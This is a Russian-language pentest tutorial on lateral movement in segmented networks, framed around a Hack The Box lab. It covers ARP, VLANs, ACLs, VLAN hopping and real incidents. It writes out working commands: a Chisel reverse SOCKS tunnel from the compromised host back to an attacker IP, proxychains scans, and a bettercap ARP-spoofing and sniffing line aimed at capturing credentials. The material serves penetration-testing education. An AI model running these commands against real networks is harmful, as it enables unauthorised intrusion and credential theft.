Латеральное движение в сегментированной сети: почему пентестер застревает без VLAN и ARP

На HTB-машине средней сложности получаю shell, запускаю ip a и вижу два интерфейса — eth0 в подсети 10.10.10.0/24 и eth1 в подсети 172.16.5.0/24. Второй интерфейс — очевидная дорога в скрытый сегмент, где лежит root-флаг. Запускаю nmap -sn 172.16.5.0/24 — ноль живых хостов. Пингую 172.16.5.1 — тишина. Два часа уходят на перебор флагов nmap, попытки поменять MTU и прочие ритуальные танцы. А потом доходит: проблема не в инструменте. Проблема в том, что я не понимаю, как ARP и VLAN разделяют сеть на невидимые друг для друга острова. Это самый частый тупик при латеральном движении в сегментированной сети — и ловятся на нём все, кто учился пентесту на плоских лабораторных стендах.
Симптом: два интерфейса, ноль видимости второго сегмента
Ты получил доступ к хосту. Дальше будем называть его pivot host — промежуточный узел, через который атака пробрасывается в следующий сегмент. Команда ip a показывает два сетевых интерфейса с адресами в разных подсетях. На первый взгляд, хост — мост между двумя частями сети. Запускаешь сканирование, проверяешь ARP-таблицу командой arp -a — для второго интерфейса она пуста. ping 172.16.5.10 — Request timed out.
Прежде чем лезть в Google за очередным nmap-флагом, остановись и разберись в трёх вещах: как работает протокол ARP, что такое VLAN (802.1Q) и чем маршрутизация на канальном уровне отличается от сетевого. Без этого фундамента латеральное движение в HTB-машине с двумя сегментами превращается в угадайку.
ARP и 802.1Q — минимум для пентеста двух сегментов сети
ARP: протокол, определяющий видимость хостов
ARP (Address Resolution Protocol) сопоставляет IP-адрес с MAC-адресом устройства в локальной сети. Когда хост хочет отправить пакет соседу в той же подсети, он рассылает ARP-запрос широковещательно (broadcast): «У кого IP 172.16.5.10? Ответьте на мой MAC». Если целевой хост в том же широковещательном домене — он ответит своим MAC-адресом.
Вот что здесь критично для пентестера: ARP-запросы не проходят через маршрутизатор. Они распространяются только в пределах одного VLAN или одного физического сегмента. Если pivot host подключён к VLAN 10, а целевые хосты живут в VLAN 20 — broadcast ARP-запрос до них не дойдёт. Поэтому arp -a на втором интерфейсе пуста: хост физически не может обнаружить соседей в чужом широковещательном домене.
Проверяется просто: команда arping -I eth1 172.16.5.1 отправляет ARP-запрос напрямую через конкретный интерфейс. Ответ пришёл — хост и цель в одном L2-домене, проблема где-то выше (маршрутизация, фильтрация). Молчание — сегменты изолированы на канальном уровне.
802.1Q и VLAN: логическое разделение на уровне коммутатора
VLAN (Virtual Local Area Network) логически делит одну физическую сеть на изолированные сегменты. Каждый VLAN — отдельный широковещательный домен. Коммутатор помечает Ethernet-кадр тегом по стандарту 802.1Q: четыре байта, включающих идентификатор VLAN (число от 1 до 4094).
Порт коммутатора работает в одном из двух режимов:
| Режим порта | Поведение | Значение для пентестера |
|---|---|---|
| Access | Принадлежит одному VLAN, тег снимается при доставке | Хост видит только устройства в своём VLAN |
| Trunk | Пропускает трафик нескольких VLAN с тегами | Если pivot host на trunk — возможен VLAN hopping |
Для пентеста двух сегментов сети это означает: если второй интерфейс pivot host подключён к access-порту VLAN 20, хост видит только устройства в VLAN 20. Но если интерфейс оказался на trunk-порту — открывается вектор атаки через VLAN hopping (разберём ниже).
Inter-VLAN routing: кто пропускает трафик между сегментами
Трафик между VLAN напрямую не ходит. Для связи нужен маршрутизатор или L3-коммутатор с настроенными интерфейсами для каждого VLAN и ACL (Access Control List — списки правил, определяющих какой трафик разрешён, а какой нет).
Здесь пригодится знание MITRE ATT&CK — открытой базы тактик и техник, которые используют реальные атакующие. Каждой технике присваивается T-код. Латеральное движение (Lateral Movement) — одна из 14 тактик в этой базе. Техника Remote Services (T1021) описывает использование легитимных протоколов — SMB, RDP, SSH — для перемещения между системами. Все эти протоколы работают поверх IP. IP-пакет между VLAN проходит только через маршрутизатор. Если ACL на маршрутизаторе блокирует SMB (порт 445) между сегментами — PsExec, CrackMapExec/NetExec и любые другие инструменты на базе SMB/Windows Admin Shares (T1021.002) бесполезны. Хоть обсканируйся.
Три тупика при латеральном движении в HTB-машине с двумя сегментами
Тупик первый: IP forwarding отключён
Pivot host имеет два интерфейса, но ядро Linux по умолчанию не пересылает пакеты между ними. За это отвечает параметр net.ipv4.ip_forward. Проверка: cat /proc/sys/net/ipv4/ip_forward. Если в ответ 0 — пакет, пришедший на eth0, не уйдёт в eth1. Симптом: traceroute 172.16.5.10 показывает, что пакет умирает на первом хопе (на самом pivot host). Включить форвардинг можно через echo 1 > /proc/sys/net/ipv4/ip_forward, но в лабораторной машине это обычно не конечное решение — авторы закладывают дополнительные барьеры.
Тупик второй: ARP-таблица пуста
Даже с включённым IP forwarding pivot host может не знать MAC-адреса хостов во второй подсети. Пока ARP-запрос не получит ответ — отправить кадр некуда.
Частая ошибка: nmap для подсети, совпадающей с локальным интерфейсом, использует ARP-discovery. Для удалённой подсети — ICMP/TCP. Если второй сегмент виден через интерфейс, но ARP-ответы не приходят из-за изоляции VLAN — результат нулевой. Диагностика: ip neigh show dev eth1. Нет записей — пробуй arping, как описано выше.
Тупик третий: ACL режет трафик между VLAN
Грамотная сегментация сети предполагает фильтрацию. Типичная конфигурация: пользовательский VLAN может обращаться к серверам по DNS (порт 53) и LDAP (389), но SMB (445), RDP (3389, техника T1021.001) и WinRM (5985/5986) заблокированы.
По данным анализа Zero Networks (5,4 триллиона активностей в 312 корпоративных средах), среди главных факторов латерального движения — Broad Internal Admin Protocol Exposure и Excessive Internal Reachability. В корпоративных сетях ACL часто недостаточно строгие. В лабораторных средах автор машины создаёт ACL намеренно — чтобы ты разобрался, а не просканировал в лоб.
Диагностика: nmap -sV -Pn -p 22,80,443,445,3389,5985 172.16.5.10 через pivot host. Порт filtered — трафик режется на промежуточном устройстве. closed — хост доступен, сервис не слушает. open — путь свободен, переходи к эксплуатации.
Pivoting через VLAN: network pivoting на практике
L2 vs L3 pivoting — что выбрать
Pivoting — перенаправление трафика атакующего через скомпрометированный хост в сегмент, к которому нет прямого доступа.
| Параметр | L3 pivoting (сетевой уровень) | L2 pivoting (канальный уровень) |
|---|---|---|
| Что пробрасывается | IP-пакеты (TCP/UDP) | Ethernet-фреймы |
| Инструменты | Chisel, ligolo-ng, sshuttle, proxychains+SSH | TAP-интерфейсы, Gost в L2-режиме |
| Что доступно | Сервисы на TCP/UDP-портах | ARP spoofing, LLMNR/NBT-NS poisoning, DHCP spoofing |
| Типичный сценарий | 90% HTB/OSCP-машин | Перехват broadcast-трафика в чужом VLAN |
| Сложность настройки | Низкая | Высокая |
В абсолютном большинстве лабораторных сценариев хватает L3 pivoting. L2 нужен, когда задача требует ARP spoofing на удалённом сегменте или перехват broadcast-трафика — например, для Responder.
Pivoting через Chisel: три шага
Chisel — утилита для TCP/UDP-туннелирования через HTTP, написанная на Go. Создаёт SOCKS-прокси через скомпрометированный хост. Предпосылки: Chisel стоит на Kali, на pivot host можно загрузить бинарник и выполнить его.
Шаг 1. На атакующей машине запусти Chisel как сервер. Порт 8000 будет ждать подключения от pivot host:
chisel server --reverse --port 8000
Ожидаемый вывод: server: Listening on http://0.0.0.0:8000. Сервер готов.
Шаг 2. На pivot host загрузи бинарник Chisel (через wget, curl или встроенный Python HTTP-сервер) и подключись обратно к серверу. Здесь 10.10.14.5 — IP атакующей машины в HTB VPN:
./chisel client 10.10.14.5:8000 R:socks
Ожидаемый вывод на сервере: session#1: tun: proxy#R:127.0.0.1:1080=>socks: Listening. На Kali теперь открыт SOCKS5-прокси на порту 1080 — весь трафик через него пойдёт через pivot host во второй сегмент.
Шаг 3. На Kali маршрутизируй инструменты через прокси. Убедись, что в /etc/proxychains4.conf последняя строка: socks5 127.0.0.1 1080. Затем сканируй второй сегмент:
proxychains4 nmap -sT -Pn -p 22,80,445,3389 172.16.5.0/24
Через SOCKS-прокси работает только TCP. ICMP и UDP не пройдут — поэтому nmap запускается с -sT (TCP connect scan) и -Pn (без ping-discovery). Если в результате видны открытые порты — pivoting работает, можно атаковать хосты во втором сегменте.
ARP spoofing в пентесте: когда и зачем
ARP spoofing (он же ARP poisoning) — подмена ARP-ответов для перехвата трафика между двумя хостами в одном VLAN. Классическая атака «человек посередине». В пентесте двух сегментов сети ARP spoofing полезен, когда pivot host уже находится в целевом VLAN и нужно перехватить учётные данные между серверами.
Критическое ограничение: ARP spoofing работает только внутри одного VLAN. ARP-пакеты не проходят через маршрутизатор. Цель в другом VLAN — атака бессмысленна без предварительного L2-пивотинга.
На практике: получив доступ к хосту в серверном VLAN, можно перехватить трафик между сервером и шлюзом. Инструмент — bettercap (нужны root-привилегии). Команда bettercap -iface eth1 -eval "set arp.spoof.targets 172.16.5.10; arp.spoof on; net.sniff on" запускает подмену ARP и перехват пакетов. В логе появятся HTTP-запросы, DNS-запросы, а если повезёт — NTLM-хеши или HTTP Basic Auth в открытом виде.
Защита — Dynamic ARP Inspection (DAI): коммутатор проверяет ARP-пакеты на соответствие DHCP snooping таблице и отбрасывает поддельные. В HTB-машинах DAI обычно не настроен. В корпоративных сетях встречается регулярно — и ломает красивый план за секунду.
VLAN hopping и double tagging — атака на обход сегментации сети
VLAN hopping — класс атак, позволяющих отправить трафик в VLAN, к которому атакующий формально не принадлежит. Две основные техники:
Switch spoofing. Атакующий настраивает свой интерфейс как trunk-порт, эмулируя коммутатор. Если порт работает в режиме auto/desirable (протокол DTP — Dynamic Trunking Protocol — включён), коммутатор может автоматически установить trunk-соединение. Результат — доступ к трафику всех VLAN на этом trunk. Проверить можно через Yersinia (инструмент для атак на L2-протоколы). Защита: жёсткая настройка портов в access-режим и отключение DTP командами switchport mode access и switchport nonegotiate.
Double tagging VLAN атака. Атакующий формирует Ethernet-кадр с двумя 802.1Q-тегами. Внешний тег совпадает с native VLAN коммутатора (обычно VLAN 1), внутренний — с целевым VLAN. Первый коммутатор снимает внешний тег как native и пересылает кадр по trunk с внутренним тегом. Второй коммутатор видит внутренний тег и доставляет кадр в целевой VLAN.
Ограничения серьёзные: атака работает только в одну сторону (ответ не вернётся) и только если native VLAN на trunk совпадает с VLAN атакующего. Применимость на практике узкая, но понимание механизма нужно при оценке сетевой инфраструктуры — хотя бы чтобы проверить, не оставил ли админ DTP включённым на пользовательских портах.
Реальные инциденты: латеральное движение и сегментация
Зачем вообще атакующим латеральное движение? Бизнес-логика простая: первичный доступ почти никогда не приводит к цели напрямую. Фишинговое письмо компрометирует рабочую станцию бухгалтера, а не контроллер домена. Украденный VPN-аккаунт подрядчика даёт сессию с минимальными привилегиями, а не доступ к промышленным системам. Латеральное движение — мост между точкой входа и целью: данными для шифрования (ransomware), базой клиентов для продажи, инфраструктурой для ботнета.
По данным CrowdStrike Global Threat Report 2025, среднее время начала латерального движения после первичного доступа — 62 минуты. Рекорд — 51 секунда. IBM X-Force Threat Intelligence Index 2025 фиксирует рост атак с использованием легитимных учётных данных (Valid Accounts, T1078) на 71% год к году. Атакующие не ломают стены — они ходят через двери с украденными ключами.
Три показательных инцидента:
Colonial Pipeline (2021). Доступ через скомпрометированный VPN-аккаунт (External Remote Services, T1133), латеральное движение через Exploitation of Remote Services (T1210), итог — шифровальщик на промышленных системах (Data Encrypted for Impact, T1486). Недостаточная сегментация позволила добраться от VPN-шлюза до SCADA.
SolarWinds (2020). Supply Chain Compromise (T1195) через заражённое обновление, далее — Remote Services (T1021) для перемещения между системами тысяч организаций. Сегментация могла ограничить масштаб ущерба, но во многих сетях её просто не было.
MITRE/Ivanti (2024). По данным Zero Networks, сеть MITRE скомпрометирована через zero-day уязвимости в Ivanti VPN. Атакующие использовали украденный аккаунт администратора (T1078) и Remote Services (T1021) для латерального движения. Организация, создавшая ATT&CK, пострадала от классического сценария из собственной базы. Ирония болезненная, но показательная.
Закономерность одна: в каждом случае латеральное движение стало возможным из-за избыточной связности между сегментами и злоупотребления легитимными протоколами удалённого доступа.
Из опыта прохождения HTB и внутренних пентестов: начинающие тратят 80% времени на поиск эксплойтов и 20% на понимание сетевой топологии. Пропорция должна быть обратной. Chisel или ligolo-ng осваиваются за вечер. ARP-таблицы, VLAN-теги и поведение маршрутизатора на границе сегментов — за неделю вдумчивой практики. Но именно эта неделя отделяет пентестера, который застревает на dual-homed хосте с пустой ARP-таблицей, от того, кто за 15 минут разворачивает туннель и продолжает атаку.
Сетевая сегментация будет только жёстче: микросегментация, identity-based политики, zero trust на каждом хопе. Пентестер, который не ориентируется в сегментированной сети, будет выдавать отчёты уровня «сеть защищена, я не смог выйти за первый сегмент» — хотя на деле просто не нашёл маршрут. Если сетевые протоколы пока вызывают ступор — на IB Basics разбирают эту базу от сетевой модели до первых задач, без предположения что всё уже понятно.
Эту тему и смежные навыки разбирают на практике в курсе «Компьютерные сети» Codeby Academy.
